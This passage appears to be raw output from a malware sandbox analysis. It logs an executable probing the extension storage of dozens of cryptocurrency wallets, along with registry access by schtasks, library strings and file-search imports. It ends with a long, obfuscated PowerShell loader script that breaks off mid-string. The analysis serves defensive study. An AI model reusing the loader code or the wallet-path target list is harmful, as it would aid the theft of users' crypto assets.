"\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\JBDAOCNEIIINMJBJLGALHCELGBEJMNID" "Kolodi.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\NKBIHFBEOGAEAOEHLEFNKODBEFGPGKNN" "Kolodi.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\AFBCBJPBPFADLKMHMCLHKEEODMAMCFLC" "Kolodi.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\HNFANKNOCFEOFBDDGCIJNMHNFNKDNAAD" "Kolodi.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\FHBOHIMAELBOHPJBBLDCNGCNAPNDODJP" "Kolodi.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\ODBFPEEIHDKBIHMOPKBJMOONFANLBFCL" "Kolodi.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\HPGLFHGFNHBGPJDENJGMDGOEIAPPAFLN" "Kolodi.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\BLNIEIIFFBOILLKNJNEPOGJHKGNOAPAC" "Kolodi.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\CJELFPLPLEBDJJENLLPJCBLMJKFCFFNE" "Kolodi.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\FIHKAKFOBKMKJOJPCHPFGCMHFJNMNFPI" "Kolodi.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\KNCCHDIGOBGHENBBADDOJJNNAOGFPPFJ" "Kolodi.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\AMKMJJMMFLDDOGMHPJLOIMIPBOFNFJIH" "Kolodi.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\FHILAHEIMGLIGNDDKJGOFKCBGEKHENBH" "Kolodi.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\NLBMNNIJCNLEGKJJPCFJCLMCFGGFEFDM" "Kolodi.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\NANJMDKNHKINIFNKGDCGGCFNHDAAMMMJ" "Kolodi.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\NKDDGNCDJGJFCDDAMFGCMFNLHCCNIMIG"c0:T162c,Kolodi.exe trying to open a file \Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\FFNBELFDOEIOHENKJIBNMADJIEHJHAJB related to Yoroi Kolodi.exe trying to open a file \Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\IBNEJDFJMMKPCNLPEBKLMNKOEOIHOFEC related to TronLink Kolodi.exe trying to open a file \Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\JBDAOCNEIIINMJBJLGALHCELGBEJMNID related to Nifty Wallet Kolodi.exe trying to open a file \Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\NKBIHFBEOGAEAOEHLEFNKODBEFGPGKNN related to MetaMask Kolodi.exe trying to open a file \Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\AFBCBJPBPFADLKMHMCLHKEEODMAMCFLC related to Math Wallet Kolodi.exe trying to open a file \Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\HNFANKNOCFEOFBDDGCIJNMHNFNKDNAAD related to Coinbase Wallet Kolodi.exe trying to open a file \Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\FHBOHIMAELBOHPJBBLDCNGCNAPNDODJP related to Binance Chain Wallet Kolodi.exe trying to open a file \Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\HPGLFHGFNHBGPJDENJGMDGOEIAPPAFLN related to Guarda Kolodi.exe trying to open a file \Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\BLNIEIIFFBOILLKNJNEPOGJHKGNOAPAC related to EQUA Wallet Kolodi.exe trying to open a file \Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\CJELFPLPLEBDJJENLLPJCBLMJKFCFFNE related to Jaxx Liberty Kolodi.exe trying to open a file \Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\FIHKAKFOBKMKJOJPCHPFGCMHFJNMNFPI related to BitApp Wallet Kolodi.exe trying to open a file \Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\KNCCHDIGOBGHENBBADDOJJNNAOGFPPFJ related to iWallet Kolodi.exe trying to open a file \Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\AMKMJJMMFLDDOGMHPJLOIMIPBOFNFJIH related to Wombat Kolodi.exe trying to open a file \Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\NLBMNNIJCNLEGKJJPCFJCLMCFGGFEFDM related to MEW CX Kolodi.exe trying to open a file \Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\NANJMDKNHKINIFNKGDCGGCFNHDAAMMMJ related to GuildWallet Kolodi.exe trying to open a file \Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\NKDDGNCDJGJFCDDAMFGCMFNLHCCNIMIG related to Saturn Wallet Kolodi.exe trying to open a file \Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\FNJHMKHHMKBJKKABNDCNNOGAGOGBNEEC related to Ronin Wallet Kolodi.exe trying to open a file \Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\AIIFBNBFOBPMEEKIPHEEIJIMDPNLPGPP related to Terra Station Kolodi.exe trying to open a file \Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\AEACHKNMEFPHEPCCIONBOOHCKONOEEMG related to Coin98 Wallet Kolodi.exe trying to open a file \Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\KPFOPKELMAPCOIPEMFENDMDCGHNEGIMN related to Liquality Wallet Kolodi.exe trying to open a file \Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\OOKJLBKIIJINHPMNJFFCOFJONBFBGAOC related to Temple Kolodi.exe trying to open a file %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Extension Settings\FFNBELFDOEIOHENKJIBNMADJIEHJHAJB related to Yoroi Kolodi.exe trying to open a file %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Extension Settings\IBNEJDFJMMKPCNLPEBKLMNKOEOIHOFEC related to TronLink Kolodi.exe trying to open a file %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Extension Settings\JBDAOCNEIIINMJBJLGALHCELGBEJMNID related to Nifty Wallet Kolodi.exe trying to open a file %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Extension Settings\NKBIHFBEOGAEAOEHLEFNKODBEFGPGKNN related to MetaMask Kolodi.exe trying to open a file %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Extension Settings\AFBCBJPBPFADLKMHMCLHKEEODMAMCFLC related to Math Wallet Kolodi.exe trying to open a file %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Extension Settings\HNFANKNOCFEOFBDDGCIJNMHNFNKDNAAD related to Coinbase Wallet Kolodi.exe trying to open a file %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Extension Settings\FHBOHIMAELBOHPJBBLDCNGCNAPNDODJP related to Binance Chain Wallet Kolodi.exe trying to open a file %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Extension Settings\HPGLFHGFNHBGPJDENJGMDGOEIAPPAFLN related to Guarda Kolodi.exe trying to open a file %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Extension Settings\BLNIEIIFFBOILLKNJNEPOGJHKGNOAPAC related to EQUA Walletc1:T681,"schtasks.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\TREATAS"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\TREATAS"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\PROGID"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\PROGID"; Key: ""; Value: "") "schtasks.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\PROGID"; Key: ""; Value: "") "schtasks.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\INPROCSERVER32"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\INPROCSERVER32"; Key: ""; Value: "") "schtasks.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\INPROCSERVER32"; Key: "INPROCSERVER32"; Value: "") "schtasks.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\INPROCSERVER32"; Key: ""; Value: "")c2:T464,Found string "C:\Build-OpenSSL-VC-32/lib/engines" (Indicator: "openssl-"; File: "00000000-00000588.00000003.79312.00400000.00000040.mdmp") Found string "C:\Build-OpenSSL-VC-32/lib/engines" (Indicator: "openssl-"; Source: "00000000-00000588.00000001.71968.00400000.00000040.mdmp, 00000000-00000588.00000003.79312.00400000.00000040.mdmp") Found string "C:\Build-OpenSSL-VC-32/ssl/private" (Indicator: "openssl-"; Source: "00000000-00000588.00000001.71968.00400000.00000040.mdmp, 00000000-00000588.00000003.79312.00400000.00000040.mdmp") Found string "C:\Build-OpenSSL-VC-32/ssl" (Indicator: "openssl-"; Source: "00000000-00000588.00000001.71968.00400000.00000040.mdmp, 00000000-00000588.00000003.79312.00400000.00000040.mdmp") Found string "C:\Build-OpenSSL-VC-32/ssl/certs" (Indicator: "openssl-"; Source: "00000000-00000588.00000001.71968.00400000.00000040.mdmp, 00000000-00000588.00000003.79312.00400000.00000040.mdmp") Found string "C:\Build-OpenSSL-VC-32/ssl/cert.pem" (Indicator: "openssl-"; Source: "00000000-00000588.00000001.71968.00400000.00000040.mdmp, 00000000-00000588.00000003.79312.00400000.00000040.mdmp")c3:T4b7,Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwk" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFCjJ1PwkYAi7fE%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "cLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJn" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFCjJ1PwkYAi7fE%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "EaK0gnhS9SZizv8IkTcT4CDQIDvFCjJ1P" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFCjJ1PwkYAi7fE%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog"c4:T723,Observed string: "RSA part of OpenSSL 1.0.1j 15 Oct 2014" (Indicator: "OpenSSL 1.") Observed string: "lhash part of OpenSSL 1.0.1j 15 Oct 2014" (Indicator: "OpenSSL 1.") Observed string: "Big Number part of OpenSSL 1.0.1j 15 Oct 2014" (Indicator: "OpenSSL 1.") Observed string: "DSA part of OpenSSL 1.0.1j 15 Oct 2014" (Indicator: "OpenSSL 1.") Observed string: "PEM part of OpenSSL 1.0.1j 15 Oct 2014" (Indicator: "OpenSSL 1.") Observed string: "Stack part of OpenSSL 1.0.1j 15 Oct 2014" (Indicator: "OpenSSL 1.") Observed string: "RAND part of OpenSSL 1.0.1j 15 Oct 2014" (Indicator: "OpenSSL 1.") Observed string: "Diffie-Hellman part of OpenSSL 1.0.1j 15 Oct 2014" (Indicator: "OpenSSL 1.") Observed string: "ASN.1 part of OpenSSL 1.0.1j 15 Oct 2014" (Indicator: "OpenSSL 1.") Observed string: "EC part of OpenSSL 1.0.1j 15 Oct 2014" (Indicator: "OpenSSL 1.") Observed string: "EVP part of OpenSSL 1.0.1j 15 Oct 2014" (Indicator: "OpenSSL 1.") Observed string: "X.509 part of OpenSSL 1.0.1j 15 Oct 2014" (Indicator: "OpenSSL 1.") Observed string: "SHA1 part of OpenSSL 1.0.1j 15 Oct 2014" (Indicator: "OpenSSL 1.") Observed string: "SHA-256 part of OpenSSL 1.0.1j 15 Oct 2014" (Indicator: "OpenSSL 1.") Observed string: "SHA-512 part of OpenSSL 1.0.1j 15 Oct 2014" (Indicator: "OpenSSL 1.") Observed string: "MD5 part of OpenSSL 1.0.1j 15 Oct 2014" (Indicator: "OpenSSL 1.") Observed string: "ECDSA part of OpenSSL 1.0.1j 15 Oct 2014" (Indicator: "OpenSSL 1.") Observed string: "CONF part of OpenSSL 1.0.1j 15 Oct 2014" (Indicator: "OpenSSL 1.") Observed string: "AES part of OpenSSL 1.0.1j 15 Oct 2014" (Indicator: "OpenSSL 1.") Observed string: "CONF_def part of OpenSSL 1.0.1j 15 Oct 2014" (Indicator: "OpenSSL 1.") Observed string: "ECDH part of OpenSSL 1.0.1j 15 Oct 2014" (Indicator: "OpenSSL 1.")c5:T956,"FindNextFileW@KERNEL32.DLL" in "buildz.exe" "FindNextFileA@KERNEL32.DLL" in "buildz.exe" "FindFirstFileA@KERNEL32.DLL" in "buildz.exe" "FindFirstFileW@KERNEL32.DLL" in "buildz.exe" "FindNextFileW@KERNEL32.DLL" in "%E6%B9%96%E5%8D%97%E7%81%AB%E9%BE%99?132HF?.exe" "FindNextFileA@KERNEL32.DLL" in "%E6%B9%96%E5%8D%97%E7%81%AB%E9%BE%99?132HF?.exe" "FindFirstFileA@KERNEL32.DLL" in "%E6%B9%96%E5%8D%97%E7%81%AB%E9%BE%99?132HF?.exe" "FindFirstFileW@KERNEL32.DLL" in "%E6%B9%96%E5%8D%97%E7%81%AB%E9%BE%99?132HF?.exe" "FindNextFileW@KERNEL32.DLL" in "lve.exe" "FindNextFileA@KERNEL32.DLL" in "lve.exe" "FindFirstFileA@KERNEL32.DLL" in "lve.exe" "FindFirstFileW@KERNEL32.DLL" in "lve.exe" "FindNextFileW@KERNEL32.DLL" in "1.exe" "FindNextFileA@KERNEL32.DLL" in "1.exe" "FindFirstFileA@KERNEL32.DLL" in "1.exe" "FindFirstFileW@KERNEL32.DLL" in "1.exe" "FindNextFileW@KERNEL32.DLL" in "rise.exe" "FindNextFileA@KERNEL32.DLL" in "rise.exe" "FindFirstFileA@KERNEL32.DLL" in "rise.exe" "FindFirstFileW@KERNEL32.DLL" in "rise.exe" "FindNextFileW@KERNEL32.DLL" in "build3.exe" "FindNextFileA@KERNEL32.DLL" in "build3.exe" "FindFirstFileA@KERNEL32.DLL" in "build3.exe" "FindFirstFileW@KERNEL32.DLL" in "build3.exe" "FindNextFileW@KERNEL32.DLL" in "tuc5.exe" "FindNextFileA@KERNEL32.DLL" in "tuc5.exe" "FindFirstFileA@KERNEL32.DLL" in "tuc5.exe" "FindFirstFileW@KERNEL32.DLL" in "tuc5.exe" "FindNextFileW@KERNEL32.DLL" in "tuc7.tmp" "FindNextFileA@KERNEL32.DLL" in "tuc7.tmp" "FindFirstFileA@KERNEL32.DLL" in "tuc7.tmp" "FindFirstFileW@KERNEL32.DLL" in "tuc7.tmp" "FindNextFileW@KERNEL32.DLL" in "tuc2.exe" "FindNextFileA@KERNEL32.DLL" in "tuc2.exe" "FindFirstFileA@KERNEL32.DLL" in "tuc2.exe" "FindFirstFileW@KERNEL32.DLL" in "tuc2.exe" "FindNextFileW@KERNEL32.DLL" in "tuc5.tmp" "FindNextFileA@KERNEL32.DLL" in "tuc5.tmp" "FindFirstFileA@KERNEL32.DLL" in "tuc5.tmp" "FindFirstFileW@KERNEL32.DLL" in "tuc5.tmp" "FindNextFileW@KERNEL32.DLL" in "tuc4.exe" "FindNextFileA@KERNEL32.DLL" in "tuc4.exe" "FindFirstFileA@KERNEL32.DLL" in "tuc4.exe" "FindFirstFileW@KERNEL32.DLL" in "tuc4.exe" "FindNextFileW@KERNEL32.DLL" in "Vnloubk.exe" "FindNextFileA@KERNEL32.DLL" in "Vnloubk.exe" "FindFirstFileA@KERNEL32.DLL" in "Vnloubk.exe" "FindFirstFileW@KERNEL32.DLL" in "Vnloubk.exe" "FindNextFileW@KERNEL32.DLL" in "tuc6.exe" "FindNextFileA@KERNEL32.DLL" in "tuc6.exe"c6:T645d,"<#Radiosensitivities Outerwear Opsigelsesaftalernes Spaanlst Afstrmningens Drosera Polyteisterne #>$Specterlikes = """He;udFMauMenRecLetUniBaoFonMa SpVmaAAnR p5Co3Th Ef{Es An Sy X UnpHuaIdrSiaComLa(Bi[ PSAutPhr BiHunShgSk]Mi`$StETetCyaLeglseLerOvnSne RsStiUnt RrFaeKlr PeSl2Ca4ba)Ub; Fyd`$PaSkloMilFocSmrDeeinmDye Tr NnBieUn S=Ad S`$AkEDatSpaRogCheScr Ln He Ls Si ItHirFeeUnrRyeAr2 S4Sp.brLLoeUnnHagbat EhSu; K A Pl do Ph`$ImL EoTatSeuJas ObKolHuo KmSisSktOpe En AsWe7Vi3Da P=Re CaNDae MwFo- COUnbBajfieUncSatdi RsbGry BtFreDe[Ty] A Rd(Tf`$ SS AoInlGecEnrTjeMamUneStrStnPaeVa Li/Ja Fo2Al)At;Teup`$SvPbeoSowDrs V= S'PrS GUUn' S+Pr'ArBKoSIsTReRTeI BNPlGPr'Ne;Re I Pr Fr DrFAko FrBu( R`$DeS QtCoaIskAki FtStt PeTrrcrt ToInm PtAreDeo BrOpiLysHe= S0se;Po Zo`$KoSTotDeaDakIniHjt Ot Fe TrGatFioSemTjt LeSto KrHeiWisVu Ar-ChlLitFi Oo`$InSTeoOvlRecder SeSpmBaePar InRoesu;Ns No`$UnS LtSnaCikDriOctShtSeestrJatFloInmRet EeSpoAcrGaimrsMe+An=Mi2 A)Me{Pr Mo Vo Me An Ma P S Gr`$ PLProQut AuSesDibSklcho HmTrsSltOueEinkvs a7Ke3St[Pa`$HjS It PaAnk MiDetLstSteWorNotFooSumFutAnesaoPlrReiUdsKe/Mi2Vi] C Ch=Sw Sy[OrcDioAcnwavEmeFrrSetAs]Kl:Kl:MeTKuoAsB byAftKieBi(Co`$MuEPatGuaAag De QrIlnAnefesSpi Nt Kr TeDarJeeNo2Re4 P.Me`$CoP ToNawMysbr.PeIHjnElv EoHykAneSe(Sa`$MaS EtMaaFek Ri CtLntKoeeprNet PoIsm Bt HeSuo BrKniChsBr,Ca Vr2Mi) D,in T1Se6su)Ps;UlPrNe`$ BLHyo DtBuu SsTib PlCooTumFasOntSteSenEmsmu7Sp3Af[Fo`$ SS NtFoaFlkKai LtDottaeVor BtUnoHem AtMaeInoBlr SiInsDe/Mo2Cr] A U=un Bs TuUnbOrs PeDiwMeeAgrSe8Pr Ir`$StLObougtLouSksvibTalDioNomHjsTotJaeSpnVasIn7 S3Mi[Us`$NeS ptNoaKok Pi Bt Tt deWarTatTso SmBetDeeDioAdr MisasEr/Br2De]Cu Re6 T4Em;bi Ma U Ho Sa} MAn[ArSFltMar kiApnTrgCe]Le[FoSrayUnsPstmieKamTa.CoTCoeFrxCotSr. PEgenOlcBeoWrdUnihinnogRe]Tr:Sa:FrAkaSAlCTeIChIFr.VaGEnePrtSmSSitNorRui TnFagSc(Pa`$StLReo VtRau HsNdbAllPioMamGusIntPaeMenDes S7 V3Pu) Q;Un} A`$FuS ToGagPanPoeSifFooFigPre AdBuePirStnPaeSu0Am=ToVInAfeRLi5no3Ru Di'la1Te3Th3En9Sa3 E3Sp3Pr4Kr2 S5 s2BaDLa6UnEMi2Be4Tr2SkC M2InCBa'Ko;di`$SrSSyo AgDrnPte Tfaro ggTheOpdSte SrHdnMieHy1An=SlVAaAUlR I5Me3 B R' F0GaDBu2Hy9Ov2 S3St3 P2Vi2UnFVa3Py3Br2CoFzo2Un6Sl3 A4mi6spE P1Fe7 L2He9Fa2 AERa7Po3cl7 Q2Li6 FEBo1Tr5Dr2ThE V3Re3Fl2 H1Pr2Po6De2Sk5po0PeEDi2An1 B3 T4 C2Re9 M3 I6 S2Fa5Me0 IDEk2Pr5Um3Ba4Ob2Af8di2 CFOr2Un4Mo3 F3Ge' H;To`$NeS OoAfgAun TeCafbuoUtg weDadTeeChr AnOmeTh2De= RV KAViRFu5Ga3El Ca'cu0Fj7Br2pe5in3St4Di1Un0Ph3Te2Kn2FoFUn2 b3Dy0Sc1Gr2Sp4Al2Ou4Fd3Un2 W2 T5Ah3Le3Pa3 B3Me'Ko;La`$ThSEcoUngOvnPaeLyfSioCogUdeUnd peSarAmnNaeJe3Gi=kuVByAKoR V5st3Ar D'Ke1Ej3Ho3 m9 L3 B3kr3To4Br2Ra5Sl2RsDKo6MaE F1Ro2Bl3Tv5 D2SoE G3 A4de2Re9Id2ReDKa2Be5In6OeEVa0 T9un2SkERe3Sm4Am2Bu5su3St2Ol2AdFRa3Ly0Re1 I3Ga2Et5Fa3ya2 N3Co6Ba2 A9Me2Sk3Ri2 R5Fe3gr3 P6BeEVr0To8Er2Un1Pr2CeESo2In4ef2JaCMa2gu5 O1Sa2Qu2Sm5Th2De6Mo'Va; P`$tuSMaoPtgApnMeeHjf Ro BgPieOsdSle ErAknLge F4Fi= MVOpAecRSc5An3Zo Hu' S3or3Ra3Un4 H3Ti2Il2Fr9 T2FnEIn2 a7Hy'su; A`$HuSFooNagGen Ce SfHyoCog DeCldrreTerSanGee E5mo=ViV CAReRGe5Fo3Wo Pi'En0Tl7 E2 T5Fa3An4Ra0 aDMa2DoFSu2Fo4Co3Ne5ea2KiCSt2De5Dg0Jg8Va2Sv1Ud2 DECi2 H4 F2StCLi2Da5Qu'Ps;Un`$AkSCao pgPrnBeeBafDioTygUdePidBeeKorLinBoe I6Te=EnVVaAFrRKl5 S3Bi O' F1Sh2Co1Re4Fa1Af3Ba3 U0Sl2An5Pi2La3Vo2fo9Lu2bo1Co2SlC B0HjEDa2Li1 C2SeDSt2 T5Me6FyCSt6 P0Pa0Sp8Ch2Cy9Li2Gr4 F2 T5Co0Up2Sv3 U9Sc1 L3Do2Re9De2Po7Sa6UnCUd6An0St1Af0Fj3ch5Le2Ca2 I2 RCkr2Br9sk2Re3Af'da;Ud`$CuSPao MgSlnPreSifHaoKog TeAnd He IrHenBremu7Be=SnVByATrRHa5No3Fl Im'Ba1Ur2Sk3Un5su2PeEIr3 U4Pl2Jy9Am2EsD D2Fe5Bo6 PCBo6pa0Ba0ErDGo2 H1Ve2piE U2 O1in2Fo7Si2We5li2Xa4ad'Sp;Ma`$EmSSyoStgAnn seKofFooYigLae RdCieCarBin ReUn8Di=PrVRaAVeRFo5 B3So Di' B1Su2 G2ty5Vl2Su6Fa2ThCSt2Gl5Fo2Ve3Va3 S4 T2 S5Fo2Gy4Re0Ne4 M2 i5gi2poCTe2Gr5 C2Sp7Co2Un1Fl3Sy4St2Ha5Se'Re;Wi`$PiSVeoNegKlnMie AfGloBogSce SdTreFrrMonMeeAr9Ti=SoV rA ARNy5Uf3Li Pe'Sl0 K9 A2KaEFl0HeDOs2sy5 U2 SDMa2 SFNo3Pr2Yq3Cl9Za0InDRe2AlFPe2 D4Ma3Lo5Be2SyCMa2Kl5Vi'Fr;Be`$MywViaGatNoeHer UlCaoKagFys K0 H=UdVUnAHoRBl5ph3 P Fa'Bi0trDBu3Ne9Ch0Hu4Ri2Ti5Un2DaCPi2 D5na2pa7 D2Di1Il3Ir4 U2Tr5Ca1Fu4Sh3Vu9Lo3Sn0 E2Ax5 O' A;Co`$Dew KaButFoeCarGrlPeoEyg SsId1Hi=LyVLyAExRZo5Kj3Ne Bi'Bo0 C3He2KoCOv2 T1Hj3Sp3 A3Ty3 M6flC T6Fa0 N1Te0Lu3Bv5 S2Re2 L2MuCNa2 A9Cy2No3Ro6alCEg6Un0Ka1Ju3Ma2Ga5Co2Th1Ta2StCTu2Ka5Fl2 S4Mi6SuCIc6Ga0He0 U1Co2 EEFi3Tl3Al2Tr9De0 P3Sv2SkCma2 k1Na3Gr3Zo3Af3da6ElCMe6Li0Oc0Ph1Go3Yn5Fe3 F4Pr2soF N0 S3 C2flCDa2Ex1el3 A3st3Lo3Sa'Pr;Sk`$Auw MaKotArenorKllInoVagFostr2Ma=beVtrAOyR C5 B3Ch S'Un0La9no2 bE T3 S6Fe2NeFTu2JiBSt2 E5Un'Co;Lu`$SpwStaPotDieFirBelUdoKogDesEu3eq=CoVNoAReRAe5Su3 B Pl'Te1Fi0Ca3 E5Ja2In2No2SiCAn2Be9De2wi3Dy6ViCFi6Po0Re0 U8Tr2 P9la2Po4Un2In5El0Ve2Tr3Al9pr1Br3Sl2Ma9 A2On7be6BrCSe6Ko0Da0coEPr2Gl5Pe3 F7De1He3 I2HnC I2 FFSe3Fo4Un6NaCSt6Cl0 b1 D6Sp2Fo9Ja3Di2 P3Sm4Sg3li5Ch2ch1 B2 sC S' M;yo`$ Gw RahytDoeHerBll So PgCisBl4Li=FaVCaAUnRDv5Ab3 B Ro'Re1ve6Eb2Ud9Br3ca2Ko3Ko4st3Vo5St2Ge1Di2DaCVa0Va1Au2TeCPr2skCSi2CaF o2 B3 E' s;St`$ twStaFat CeHarAlltfomugRasTm5 A= PVBaAOtRMa5 W3Jy Li'Me2AlE S3Pr4Sa2 N4St2StCTa2LeCPi' D;Fo`$PhwAraVatBoeKar ClBeoBrgDusGl6 N=kaV UADiRFl5El3 P Di' P0CrEba3Sk4Gu1Pr0Cy3 O2Pi2 CFEl3Ca4 n2no5Sp2Ha3ne3Ep4 J1Ko6Pi2Te9Ar3Sa2 T3Bo4Bi3Al5Ve2 G1Im2SkCLi0SjDPr2Cy5 v2udD L2UnFPh3Be2no3au9Ud' B;Su`$Blw KaWetfle 